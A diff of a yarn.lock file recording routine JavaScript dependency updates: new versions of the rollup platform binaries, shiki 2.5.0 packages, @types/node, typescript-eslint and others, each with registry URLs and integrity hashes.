-    "@octokit/endpoint" "^10.0.0"
-    "@octokit/request-error" "^6.0.1"
+    "@octokit/endpoint" "^10.1.3"
+    "@octokit/request-error" "^6.1.7"
     "@octokit/types" "^13.6.2"
     fast-content-type-parse "^2.0.0"
     universal-user-agent "^7.0.2"
@@ -2146,9 +2042,9 @@
   integrity sha512-Nyyv1Bj7GgYwj/l46O0nkH1GTKWbO3Ixe7KFcn021aZipkZd+z8Vlu1BwkhqtVgivcKaClaExtWU/lDHkjBzag==
 
 "@redocly/openapi-core@^1.28.0":
-  version "1.28.5"
-  resolved "https://registry.yarnpkg.com/@redocly/openapi-core/-/openapi-core-1.28.5.tgz#5415f5bb12cc6916743169758d5cba7413df14ad"
-  integrity sha512-eAuL+x1oBbodJksPm4UpFU57A6z1n1rx9JNpD87CObwtbRf5EzW29Ofd0t057bPGcHc8cYZtZzJ69dcRQ9xGdg==
+  version "1.30.0"
+  resolved "https://registry.yarnpkg.com/@redocly/openapi-core/-/openapi-core-1.30.0.tgz#9ee343d6efa15f98039b37a3fa6f2765c0da08f1"
+  integrity sha512-ZZc+FXKoQXJ9cOR7qRKHxOfKOsGCj2wSodklKdtM2FofzyjzvIwn1rksD5+9iJxvHuORPOPv3ppAHcM+iMr/Ag==
   dependencies:
     "@redocly/ajv" "^8.11.2"
     "@redocly/config" "^0.20.1"
@@ -2323,100 +2219,100 @@
     estree-walker "^2.0.2"
     picomatch "^4.0.2"
 
-"@rollup/rollup-android-arm-eabi@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.34.6.tgz#9b726b4dcafb9332991e9ca49d54bafc71d9d87f"
-  integrity sha512-+GcCXtOQoWuC7hhX1P00LqjjIiS/iOouHXhMdiDSnq/1DGTox4SpUvO52Xm+div6+106r+TcvOeo/cxvyEyTgg==
-
-"@rollup/rollup-android-arm64@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.34.6.tgz#88326ff46168a47851077ca0bf0c442689ec088f"
-  integrity sha512-E8+2qCIjciYUnCa1AiVF1BkRgqIGW9KzJeesQqVfyRITGQN+dFuoivO0hnro1DjT74wXLRZ7QF8MIbz+luGaJA==
-
-"@rollup/rollup-darwin-arm64@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.34.6.tgz#b8fbcc9389bc6fad3334a1d16dbeaaa5637c5772"
-  integrity sha512-z9Ib+OzqN3DZEjX7PDQMHEhtF+t6Mi2z/ueChQPLS/qUMKY7Ybn5A2ggFoKRNRh1q1T03YTQfBTQCJZiepESAg==
-
-"@rollup/rollup-darwin-x64@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.34.6.tgz#1aa2bcad84c0fb5902e945d88822e17a4f661d51"
-  integrity sha512-PShKVY4u0FDAR7jskyFIYVyHEPCPnIQY8s5OcXkdU8mz3Y7eXDJPdyM/ZWjkYdR2m0izD9HHWA8sGcXn+Qrsyg==
-
-"@rollup/rollup-freebsd-arm64@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.34.6.tgz#29c54617e0929264dcb6416597d6d7481696e49f"
-  integrity sha512-YSwyOqlDAdKqs0iKuqvRHLN4SrD2TiswfoLfvYXseKbL47ht1grQpq46MSiQAx6rQEN8o8URtpXARCpqabqxGQ==
-
-"@rollup/rollup-freebsd-x64@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.34.6.tgz#a8b58ab7d31882559d93f2d1b5863d9e4b4b2678"
-  integrity sha512-HEP4CgPAY1RxXwwL5sPFv6BBM3tVeLnshF03HMhJYCNc6kvSqBgTMmsEjb72RkZBAWIqiPUyF1JpEBv5XT9wKQ==
-
-"@rollup/rollup-linux-arm-gnueabihf@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.34.6.tgz#a844e1978c8b9766b169ecb1cb5cc0d8a3f05930"
-  integrity sha512-88fSzjC5xeH9S2Vg3rPgXJULkHcLYMkh8faix8DX4h4TIAL65ekwuQMA/g2CXq8W+NJC43V6fUpYZNjaX3+IIg==
-
-"@rollup/rollup-linux-arm-musleabihf@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.34.6.tgz#6b44c3b7257985d71b087fcb4ef01325e2fff201"
-  integrity sha512-wM4ztnutBqYFyvNeR7Av+reWI/enK9tDOTKNF+6Kk2Q96k9bwhDDOlnCUNRPvromlVXo04riSliMBs/Z7RteEg==
-
-"@rollup/rollup-linux-arm64-gnu@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.34.6.tgz#ebb499cf1720115256d0c9ae7598c90cc2251bc5"
-  integrity sha512-9RyprECbRa9zEjXLtvvshhw4CMrRa3K+0wcp3KME0zmBe1ILmvcVHnypZ/aIDXpRyfhSYSuN4EPdCCj5Du8FIA==
-
-"@rollup/rollup-linux-arm64-musl@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.34.6.tgz#9658221b59d9e5643348f9a52fa5ef35b4dc07b1"
-  integrity sha512-qTmklhCTyaJSB05S+iSovfo++EwnIEZxHkzv5dep4qoszUMX5Ca4WM4zAVUMbfdviLgCSQOu5oU8YoGk1s6M9Q==
-
-"@rollup/rollup-linux-loongarch64-gnu@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-loongarch64-gnu/-/rollup-linux-loongarch64-gnu-4.34.6.tgz#19418cc57579a5655af2d850a89d74b3f7e9aa92"
-  integrity sha512-4Qmkaps9yqmpjY5pvpkfOerYgKNUGzQpFxV6rnS7c/JfYbDSU0y6WpbbredB5cCpLFGJEqYX40WUmxMkwhWCjw==
-
-"@rollup/rollup-linux-powerpc64le-gnu@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.34.6.tgz#fe0bce7778cb6ce86898c781f3f11369d1a4952c"
-  integrity sha512-Zsrtux3PuaxuBTX/zHdLaFmcofWGzaWW1scwLU3ZbW/X+hSsFbz9wDIp6XvnT7pzYRl9MezWqEqKy7ssmDEnuQ==
-
-"@rollup/rollup-linux-riscv64-gnu@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.34.6.tgz#9c158360abf6e6f7794285642ba0898c580291f6"
-  integrity sha512-aK+Zp+CRM55iPrlyKiU3/zyhgzWBxLVrw2mwiQSYJRobCURb781+XstzvA8Gkjg/hbdQFuDw44aUOxVQFycrAg==
-
-"@rollup/rollup-linux-s390x-gnu@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.34.6.tgz#f9113498d22962baacdda008b5587d568b05aa34"
-  integrity sha512-WoKLVrY9ogmaYPXwTH326+ErlCIgMmsoRSx6bO+l68YgJnlOXhygDYSZe/qbUJCSiCiZAQ+tKm88NcWuUXqOzw==
-
-"@rollup/rollup-linux-x64-gnu@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.34.6.tgz#aec8d4cdf911cd869a72b8bd00833cb426664e0c"
-  integrity sha512-Sht4aFvmA4ToHd2vFzwMFaQCiYm2lDFho5rPcvPBT5pCdC+GwHG6CMch4GQfmWTQ1SwRKS0dhDYb54khSrjDWw==
-
-"@rollup/rollup-linux-x64-musl@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.34.6.tgz#61c0a146bdd1b5e0dcda33690dd909b321d8f20f"
-  integrity sha512-zmmpOQh8vXc2QITsnCiODCDGXFC8LMi64+/oPpPx5qz3pqv0s6x46ps4xoycfUiVZps5PFn1gksZzo4RGTKT+A==
-
-"@rollup/rollup-win32-arm64-msvc@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.34.6.tgz#c6c5bf290a3a459c18871110bc2e7009ce35b15a"
-  integrity sha512-3/q1qUsO/tLqGBaD4uXsB6coVGB3usxw3qyeVb59aArCgedSF66MPdgRStUd7vbZOsko/CgVaY5fo2vkvPLWiA==
-
-"@rollup/rollup-win32-ia32-msvc@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.34.6.tgz#16ca6bdadc9e054818b9c51f8dac82f6b8afab81"
-  integrity sha512-oLHxuyywc6efdKVTxvc0135zPrRdtYVjtVD5GUm55I3ODxhU/PwkQFD97z16Xzxa1Fz0AEe4W/2hzRtd+IfpOA==
-
-"@rollup/rollup-win32-x64-msvc@4.34.6":
-  version "4.34.6"
-  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.34.6.tgz#f3d03ce2d82723eb089188ea1494a719b09e1561"
-  integrity sha512-0PVwmgzZ8+TZ9oGBmdZoQVXflbvuwzN/HRclujpl4N/q3i+y0lqLw8n1bXA8ru3sApDjlmONaNAuYr38y1Kr9w==
+"@rollup/rollup-android-arm-eabi@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.34.8.tgz#731df27dfdb77189547bcef96ada7bf166bbb2fb"
+  integrity sha512-q217OSE8DTp8AFHuNHXo0Y86e1wtlfVrXiAlwkIvGRQv9zbc6mE3sjIVfwI8sYUyNxwOg0j/Vm1RKM04JcWLJw==
+
+"@rollup/rollup-android-arm64@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.34.8.tgz#4bea6db78e1f6927405df7fe0faf2f5095e01343"
+  integrity sha512-Gigjz7mNWaOL9wCggvoK3jEIUUbGul656opstjaUSGC3eT0BM7PofdAJaBfPFWWkXNVAXbaQtC99OCg4sJv70Q==
+
+"@rollup/rollup-darwin-arm64@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.34.8.tgz#a7aab77d44be3c44a20f946e10160f84e5450e7f"
+  integrity sha512-02rVdZ5tgdUNRxIUrFdcMBZQoaPMrxtwSb+/hOfBdqkatYHR3lZ2A2EGyHq2sGOd0Owk80oV3snlDASC24He3Q==
+
+"@rollup/rollup-darwin-x64@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.34.8.tgz#c572c024b57ee8ddd1b0851703ace9eb6cc0dd82"
+  integrity sha512-qIP/elwR/tq/dYRx3lgwK31jkZvMiD6qUtOycLhTzCvrjbZ3LjQnEM9rNhSGpbLXVJYQ3rq39A6Re0h9tU2ynw==
+
+"@rollup/rollup-freebsd-arm64@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.34.8.tgz#cf74f8113b5a83098a5c026c165742277cbfb88b"
+  integrity sha512-IQNVXL9iY6NniYbTaOKdrlVP3XIqazBgJOVkddzJlqnCpRi/yAeSOa8PLcECFSQochzqApIOE1GHNu3pCz+BDA==
+
+"@rollup/rollup-freebsd-x64@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.34.8.tgz#39561f3a2f201a4ad6a01425b1ff5928154ecd7c"
+  integrity sha512-TYXcHghgnCqYFiE3FT5QwXtOZqDj5GmaFNTNt3jNC+vh22dc/ukG2cG+pi75QO4kACohZzidsq7yKTKwq/Jq7Q==
+
+"@rollup/rollup-linux-arm-gnueabihf@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.34.8.tgz#980d6061e373bfdaeb67925c46d2f8f9b3de537f"
+  integrity sha512-A4iphFGNkWRd+5m3VIGuqHnG3MVnqKe7Al57u9mwgbyZ2/xF9Jio72MaY7xxh+Y87VAHmGQr73qoKL9HPbXj1g==
+
+"@rollup/rollup-linux-arm-musleabihf@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.34.8.tgz#f91a90f30dc00d5a64ac2d9bbedc829cd3cfaa78"
+  integrity sha512-S0lqKLfTm5u+QTxlFiAnb2J/2dgQqRy/XvziPtDd1rKZFXHTyYLoVL58M/XFwDI01AQCDIevGLbQrMAtdyanpA==
+
+"@rollup/rollup-linux-arm64-gnu@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.34.8.tgz#fac700fa5c38bc13a0d5d34463133093da4c92a0"
+  integrity sha512-jpz9YOuPiSkL4G4pqKrus0pn9aYwpImGkosRKwNi+sJSkz+WU3anZe6hi73StLOQdfXYXC7hUfsQlTnjMd3s1A==
+
+"@rollup/rollup-linux-arm64-musl@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.34.8.tgz#f50ecccf8c78841ff6df1706bc4782d7f62bf9c3"
+  integrity sha512-KdSfaROOUJXgTVxJNAZ3KwkRc5nggDk+06P6lgi1HLv1hskgvxHUKZ4xtwHkVYJ1Rep4GNo+uEfycCRRxht7+Q==
+
+"@rollup/rollup-linux-loongarch64-gnu@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-loongarch64-gnu/-/rollup-linux-loongarch64-gnu-4.34.8.tgz#5869dc0b28242da6553e2b52af41374f4038cd6e"
+  integrity sha512-NyF4gcxwkMFRjgXBM6g2lkT58OWztZvw5KkV2K0qqSnUEqCVcqdh2jN4gQrTn/YUpAcNKyFHfoOZEer9nwo6uQ==
+
+"@rollup/rollup-linux-powerpc64le-gnu@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.34.8.tgz#5cdd9f851ce1bea33d6844a69f9574de335f20b1"
+  integrity sha512-LMJc999GkhGvktHU85zNTDImZVUCJ1z/MbAJTnviiWmmjyckP5aQsHtcujMjpNdMZPT2rQEDBlJfubhs3jsMfw==
+
+"@rollup/rollup-linux-riscv64-gnu@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.34.8.tgz#ef5dc37f4388f5253f0def43e1440ec012af204d"
+  integrity sha512-xAQCAHPj8nJq1PI3z8CIZzXuXCstquz7cIOL73HHdXiRcKk8Ywwqtx2wrIy23EcTn4aZ2fLJNBB8d0tQENPCmw==
+
+"@rollup/rollup-linux-s390x-gnu@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.34.8.tgz#7dbc3ccbcbcfb3e65be74538dfb6e8dd16178fde"
+  integrity sha512-DdePVk1NDEuc3fOe3dPPTb+rjMtuFw89gw6gVWxQFAuEqqSdDKnrwzZHrUYdac7A7dXl9Q2Vflxpme15gUWQFA==
+
+"@rollup/rollup-linux-x64-gnu@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.34.8.tgz#5783fc0adcab7dc069692056e8ca8d83709855ce"
+  integrity sha512-8y7ED8gjxITUltTUEJLQdgpbPh1sUQ0kMTmufRF/Ns5tI9TNMNlhWtmPKKHCU0SilX+3MJkZ0zERYYGIVBYHIA==
+
+"@rollup/rollup-linux-x64-musl@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.34.8.tgz#00b6c29b298197a384e3c659910b47943003a678"
+  integrity sha512-SCXcP0ZpGFIe7Ge+McxY5zKxiEI5ra+GT3QRxL0pMMtxPfpyLAKleZODi1zdRHkz5/BhueUrYtYVgubqe9JBNQ==
+
+"@rollup/rollup-win32-arm64-msvc@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.34.8.tgz#cbfee01f1fe73791c35191a05397838520ca3cdd"
+  integrity sha512-YHYsgzZgFJzTRbth4h7Or0m5O74Yda+hLin0irAIobkLQFRQd1qWmnoVfwmKm9TXIZVAD0nZ+GEb2ICicLyCnQ==
+
+"@rollup/rollup-win32-ia32-msvc@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.34.8.tgz#95cdbdff48fe6c948abcf6a1d500b2bd5ce33f62"
+  integrity sha512-r3NRQrXkHr4uWy5TOjTpTYojR9XmF0j/RYgKCef+Ag46FWUTltm5ziticv8LdNsDMehjJ543x/+TJAek/xBA2w==
+
+"@rollup/rollup-win32-x64-msvc@4.34.8":
+  version "4.34.8"
+  resolved "https://registry.yarnpkg.com/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.34.8.tgz#4cdb2cfae69cdb7b1a3cc58778e820408075e928"
+  integrity sha512-U0FaE5O1BCpZSeE6gBl3c5ObhePQSfk9vDRToMmTkbhCOgW4jqvtS5LGyQ76L1fH8sM0keRp4uDTsbjiUyjk0g==
 
 "@sec-ant/readable-stream@^0.4.1":
   version "0.4.1"
@@ -2523,6 +2419,18 @@
     "@types/hast" "^3.0.4"
     hast-util-to-html "^9.0.4"
 
+"@shikijs/core@2.5.0":
+  version "2.5.0"
+  resolved "https://registry.yarnpkg.com/@shikijs/core/-/core-2.5.0.tgz#e14d33961dfa3141393d4a76fc8923d0d1c4b62f"
+  integrity sha512-uu/8RExTKtavlpH7XqnVYBrfBkUc20ngXiX9NSrBhOVZYv/7XQRKUyhtkeflY5QsxC0GbJThCerruZfsUaSldg==
+  dependencies:
+    "@shikijs/engine-javascript" "2.5.0"
+    "@shikijs/engine-oniguruma" "2.5.0"
+    "@shikijs/types" "2.5.0"
+    "@shikijs/vscode-textmate" "^10.0.2"
+    "@types/hast" "^3.0.4"
+    hast-util-to-html "^9.0.4"
+
 "@shikijs/engine-javascript@1.22.0":
   version "1.22.0"
   resolved "https://registry.yarnpkg.com/@shikijs/engine-javascript/-/engine-javascript-1.22.0.tgz#2e5db29f0421755492f5279f8224ef7a7f907a29"
@@ -2541,6 +2449,15 @@
     "@shikijs/vscode-textmate" "^10.0.1"
     oniguruma-to-es "^2.2.0"
 
+"@shikijs/engine-javascript@2.5.0":
+  version "2.5.0"
+  resolved "https://registry.yarnpkg.com/@shikijs/engine-javascript/-/engine-javascript-2.5.0.tgz#e045c6ecfbda6c99137547b0a482e0b87f1053fc"
+  integrity sha512-VjnOpnQf8WuCEZtNUdjjwGUbtAVKuZkVQ/5cHy/tojVVRIRtlWMYVjyWhxOmIq05AlSOv72z7hRNRGVBgQOl0w==
+  dependencies:
+    "@shikijs/types" "2.5.0"
+    "@shikijs/vscode-textmate" "^10.0.2"
+    oniguruma-to-es "^3.1.0"
+
 "@shikijs/engine-oniguruma@1.22.0":
   version "1.22.0"
   resolved "https://registry.yarnpkg.com/@shikijs/engine-oniguruma/-/engine-oniguruma-1.22.0.tgz#74c661fac4cd1f08f2c09b5d6e2fd2a6720d0401"
@@ -2557,6 +2474,14 @@
     "@shikijs/types" "1.29.2"
     "@shikijs/vscode-textmate" "^10.0.1"
 
+"@shikijs/engine-oniguruma@2.5.0":
+  version "2.5.0"
+  resolved "https://registry.yarnpkg.com/@shikijs/engine-oniguruma/-/engine-oniguruma-2.5.0.tgz#230de5693cc1da6c9d59c7ad83593c2027274817"
+  integrity sha512-pGd1wRATzbo/uatrCIILlAdFVKdxImWJGQ5rFiB5VZi2ve5xj3Ax9jny8QvkaV93btQEwR/rSz5ERFpC5mKNIw==
+  dependencies:
+    "@shikijs/types" "2.5.0"
+    "@shikijs/vscode-textmate" "^10.0.2"
+
 "@shikijs/langs@1.29.2":
   version "1.29.2"
   resolved "https://registry.yarnpkg.com/@shikijs/langs/-/langs-1.29.2.tgz#4f1de46fde8991468c5a68fa4a67dd2875d643cd"
@@ -2564,6 +2489,13 @@
   dependencies:
     "@shikijs/types" "1.29.2"
 
+"@shikijs/langs@2.5.0", "@shikijs/langs@^2.5.0":
+  version "2.5.0"
+  resolved "https://registry.yarnpkg.com/@shikijs/langs/-/langs-2.5.0.tgz#97ab50c495922cc1ca06e192985b28dc73de5d50"
+  integrity sha512-Qfrrt5OsNH5R+5tJ/3uYBBZv3SuGmnRPejV9IlIbFH3HTGLDlkqgHymAlzklVmKBjAaVmkPkyikAV/sQ1wSL+w==
+  dependencies:
+    "@shikijs/types" "2.5.0"
+
 "@shikijs/themes@1.29.2":
   version "1.29.2"
   resolved "https://registry.yarnpkg.com/@shikijs/themes/-/themes-1.29.2.tgz#293cc5c83dd7df3fdc8efa25cec8223f3a6acb0d"
@@ -2571,7 +2503,14 @@
   dependencies:
     "@shikijs/types" "1.29.2"
 
-"@shikijs/transformers@^1.23.1":
+"@shikijs/themes@2.5.0":
+  version "2.5.0"
+  resolved "https://registry.yarnpkg.com/@shikijs/themes/-/themes-2.5.0.tgz#8c6aecf73f5455681c8bec15797cf678162896cb"
+  integrity sha512-wGrk+R8tJnO0VMzmUExHR+QdSaPUl/NKs+a4cQQRWyoc3YFbUzuLEi/KWK1hj+8BfHRKm2jNhhJck1dfstJpiw==
+  dependencies:
+    "@shikijs/types" "2.5.0"
+
+"@shikijs/transformers@^1.27.2":
   version "1.29.2"
   resolved "https://registry.yarnpkg.com/@shikijs/transformers/-/transformers-1.29.2.tgz#cc7338a36783a4e48f484405c5410338e884f41e"
   integrity sha512-NHQuA+gM7zGuxGWP9/Ub4vpbwrYCrho9nQCLcCPfOe3Yc7LOYwmSuhElI688oiqIXk9dlZwDiyAG9vPBTuPJMA==
@@ -2595,10 +2534,18 @@
     "@shikijs/vscode-textmate" "^10.0.1"
     "@types/hast" "^3.0.4"
 
-"@shikijs/vscode-textmate@^10.0.1":
-  version "10.0.1"
-  resolved "https://registry.yarnpkg.com/@shikijs/vscode-textmate/-/vscode-textmate-10.0.1.tgz#d06d45b67ac5e9b0088e3f67ebd3f25c6c3d711a"
-  integrity sha512-fTIQwLF+Qhuws31iw7Ncl1R3HUDtGwIipiJ9iU+UsDUwMhegFcQKQHd51nZjb7CArq0MvON8rbgCGQYWHUKAdg==
+"@shikijs/types@2.5.0":
+  version "2.5.0"
+  resolved "https://registry.yarnpkg.com/@shikijs/types/-/types-2.5.0.tgz#e949c7384802703a48b9d6425dd41673c164df69"
+  integrity sha512-ygl5yhxki9ZLNuNpPitBWvcy9fsSKKaRuO4BAlMyagszQidxcpLAr0qiW/q43DtSIDxO6hEbtYLiFZNXO/hdGw==
+  dependencies:
+    "@shikijs/vscode-textmate" "^10.0.2"
+    "@types/hast" "^3.0.4"
+
+"@shikijs/vscode-textmate@^10.0.1", "@shikijs/vscode-textmate@^10.0.2":
+  version "10.0.2"
+  resolved "https://registry.yarnpkg.com/@shikijs/vscode-textmate/-/vscode-textmate-10.0.2.tgz#a90ab31d0cc1dfb54c66a69e515bf624fa7b2224"
+  integrity sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==
 
 "@shikijs/vscode-textmate@^9.3.0":
   version "9.3.1"
@@ -2679,6 +2626,11 @@
   resolved "https://registry.yarnpkg.com/@socket.io/component-emitter/-/component-emitter-3.1.2.tgz#821f8442f4175d8f0467b9daf26e3a18e2d02af2"
   integrity sha512-9BCxFwvbGg/RsZK9tjXd8s4UcwR0MWeFQ1XEKIQVVvAGJyINdrqKMcTRyLoK8Rse1GjzLV9cwjWV1olXRWEXVA==
 
+"@sqlite.org/sqlite-wasm@3.49.0-build3":
+  version "3.49.0-build3"
+  resolved "https://registry.yarnpkg.com/@sqlite.org/sqlite-wasm/-/sqlite-wasm-3.49.0-build3.tgz#1ae79a0fb3741bacbac13a771e672cb5069396ce"
+  integrity sha512-Dfbkybv7AIfDKAbIA5jjupT/mqFWyIMcgAwqR1qVyfHuidmEpPL48PWaOga/l4Elnty5RATzOY9U9P1yeUgjGQ==
+
 "@stripe/stripe-js@^4.8.0":
   version "4.10.0"
   resolved "https://registry.yarnpkg.com/@stripe/stripe-js/-/stripe-js-4.10.0.tgz#5c785f9a5a500113d69d98c16061e0addd1c0305"
@@ -2952,11 +2904,6 @@
   resolved "https://registry.yarnpkg.com/@types/estree/-/estree-1.0.6.tgz#628effeeae2064a1b4e79f78e81d87b7e5fc7b50"
   integrity sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==
 
-"@types/gensync@^1.0.0":
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/@types/gensync/-/gensync-1.0.4.tgz#7122d8f0cd3bf437f9725cc95b180197190cf50b"
-  integrity sha512-C3YYeRQWp2fmq9OryX+FoDy8nXS6scQ7dPptD8LnFDAUNcKWJjXQKDNJD3HVm+kOUsXhTOkpi69vI4EuAr95bA==
-
 "@types/geojson@*":
   version "7946.0.16"
   resolved "https://registry.yarnpkg.com/@types/geojson/-/geojson-7946.0.16.tgz#8ebe53d69efada7044454e3305c19017d97ced2a"
@@ -3017,9 +2964,9 @@
   integrity sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==
 
 "@types/node@*":
-  version "22.13.1"
-  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.13.1.tgz#a2a3fefbdeb7ba6b89f40371842162fac0934f33"
-  integrity sha512-jK8uzQlrvXqEU91UxiK5J7pKHyzgnI1Qnl0QDHIgVGuolJhRb9EEl28Cj9b3rGR8B2lhFCtvIm5os8lFnO/1Ew==
+  version "22.13.4"
+  resolved "https://registry.yarnpkg.com/@types/node/-/node-22.13.4.tgz#3fe454d77cd4a2d73c214008b3e331bfaaf5038a"
+  integrity sha512-ywP2X0DYtX3y08eFVx5fNIw7/uIv8hYUKgXoK8oayJlLnKcRfEYCxWMVE1XagUdVtCJlZT1AU4LXEABW+L1Peg==
   dependencies:
     undici-types "~6.20.0"
 
@@ -3043,11 +2990,6 @@
   resolved "https://registry.yarnpkg.com/@types/resolve/-/resolve-1.20.2.tgz#97d26e00cd4a0423b4af620abecf3e6f442b7975"
   integrity sha512-60BCwRFOZCQhDncwQdxxeOEEkbc5dIMccYLwbxsS4TUNeVECQ/pBJ0j09mrHOl/JJvpRPGwO9SvE4nR2Nb/a4Q==
 
-"@types/semver@^7.5.5":
-  version "7.5.8"
-  resolved "https://registry.yarnpkg.com/@types/semver/-/semver-7.5.8.tgz#8268a8c57a3e4abd25c165ecd36237db7948a55e"
-  integrity sha512-I8EUhyrgfLrcTkzV3TSsGyl1tSuPrEDzr0yd5m90UgNxQkyDXULk3b6MlQqTCpZpNtWe1K0hzclnZkTcLBe2UQ==
-
 "@types/trusted-types@^2.0.7":
   version "2.0.7"
   resolved "https://registry.yarnpkg.com/@types/trusted-types/-/trusted-types-2.0.7.tgz#baccb07a970b91707df3a3e8ba6896c57ead2d11"
@@ -3079,61 +3021,61 @@
   integrity sha512-Pg33m3X2mFgdmhtvzOlAfUfgOa3341N3/2JCrVY/mXVxb4hagcqqEG6w4vGCfB64StQNWHSj/T8Eotb1Rko/FQ==
 
 "@typescript-eslint/eslint-plugin@^8.5.0":
-  version "8.24.0"
-  resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.24.0.tgz#574a95d67660a1e4544ae131d672867a5b40abb3"
-  integrity sha512-aFcXEJJCI4gUdXgoo/j9udUYIHgF23MFkg09LFz2dzEmU0+1Plk4rQWv/IYKvPHAtlkkGoB3m5e6oUp+JPsNaQ==
+  version "8.24.1"
+  resolved "https://registry.yarnpkg.com/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.24.1.tgz#d104c2a6212304c649105b18af2c110b4a1dd4ae"
+  integrity sha512-ll1StnKtBigWIGqvYDVuDmXJHVH4zLVot1yQ4fJtLpL7qacwkxJc1T0bptqw+miBQ/QfUbhl1TcQ4accW5KUyA==
   dependencies:
     "@eslint-community/regexpp" "^4.10.0"
